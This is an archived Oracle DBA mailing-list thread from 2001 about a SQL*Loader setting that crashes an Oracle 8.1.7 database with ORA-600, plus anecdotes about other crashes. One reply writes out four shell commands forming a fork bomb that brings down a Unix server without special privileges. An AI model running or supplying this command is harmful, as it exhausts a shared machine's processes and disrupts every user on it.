RE: Cool way to crash an Oracle database, any time, any place

yea with no filesystem or process quotas in place this would be painful.

|| -----Original Message-----
|| From: Norrell, Brian [mailto:BNorrell_at_QuadraMed.com]
|| Sent: Wednesday, May 09, 2001 12:01 PM
|| To: Multiple recipients of list ORACLE-L
|| Subject: RE: Cool way to crash an Oracle database, any time,
|| any place
||
||
|| You want to crash the server? On any Unix box, execute the
|| following four
|| commands:
||
|| echo './t.sh &' > t.sh
|| echo './t.sh &' >> t.sh
|| chmod 777 t.sh
|| ./t.sh
||
|| Don't even need special privileges to ruin everyone's day...
||
|| Brian Norrell
|| Manager, MPI Development
|| QuadraMed
|| 511 E John Carpenter Frwy, Su 500
|| Irving, TX 75062
|| (972) 831-6600
||
||
|| -----Original Message-----
|| Sent: Tuesday, May 08, 2001 11:23 AM
|| To: Multiple recipients of list ORACLE-L
||
||
|| Back a few years ago I remember being able to crash a
|| NetWare server (4.x I
|| think) running an early version of Oracle7 just by running some
|| syntactically incorrect SQL. Yup, that not only crashed the
|| database, but
|| also the server.
||
|| Henry
||
|| -----Original Message-----
|| Sent: Tuesday, May 08, 2001 9:37 AM
|| To: Multiple recipients of list ORACLE-L
||
||
|| Hi Jared,
||
|| Nope, not direct mode. The table contains a couple of CLOB columns.
||
|| Haven't heard back from Oracle yet, but you're right, it is
|| kind of scary.
|| We were planning on using this environment for hosting some
|| of our more
|| active web sites.
||
|| --Walt
||
|| -----Original Message-----
|| Sent: Monday, May 07, 2001 5:59 PM
|| To: ORACLE-L_at_fatcity.com; Weaver, Walt
||
||
||
|| Walt,
||
|| What's scary about this is not just that you've managed to crash
|| the database by very innocent means, but we don't know how else
|| this bug can be invoked. It could be something equally innocuous.
||
|| Q: Are you loading in direct mode?
||
|| Jared
||
||
|| On Monday 07 May 2001 16:20, Weaver, Walt wrote:
|| > Just thought I'd share what I learned today with everyone.
|| This is Oracle
|| > 8.1.7 on a VA Linux 4450, Linux Red Hat 6.2. I'm migrating
|| customers from
|| > MySQL to Oracle, using Sqlloader to load the data into Oracle.
|| >
|| > In one table I have the following column: C$NOTES VARCHAR2(4000)
|| >
|| > In my Sqlloader script I have an entry: C$NOTES CHAR(4000)
|| >
|| > When I ran Sqlloader about 130 out of 35,000 rows were not
|| loaded due to a
|| > "inserted value too large for column" error on C$NOTES.
|| >
|| > So, just for grins I changed the Sqlloader entry to
|| C$NOTES CHAR(40000).
|| >
|| > When I run Sqlloader for the table with this value, it crashes the
|| database
|| > every time with an ORA-600 [4620] [] [] [] [] [] error.
|| Every dang time.
|| > Pmon just gives up the ghost, man. Shuts the door and turns off the
|| lights.
|| > Dies a horrible death.
|| >
|| > Now, obviously I created this problem myself, but it seems
|| to me that
|| > Oracle
|| >
|| > should be able to handle this a bit more gracefully than
|| it does. :>)
|| >
|| > Anybody else ever see this? I've logged an iTar on
|| MetaMidget to inform
|| the
|| > authorities of the problem. My cursory search on
|| MetaMidget uncovered
|| > absolutely no evidenct that anyone knows about this.
|| >
|| > --Walt Weaver
|| > Bozeman, Montana
|| --
|| Please see the official ORACLE-L FAQ: http://www.orafaq.com
|| --
|| Author: Weaver, Walt
|| INET: wweaver_at_rightnow.com
||
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|| --
|| Author: Henry Poras
|| INET: Henry.Poras_at_ctp.com
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|| --
|| Author: Norrell, Brian
|| INET: BNorrell_at_QuadraMed.com
||
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-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Mohan, Ross
  INET: MohanR_at_STARS-SMI.com

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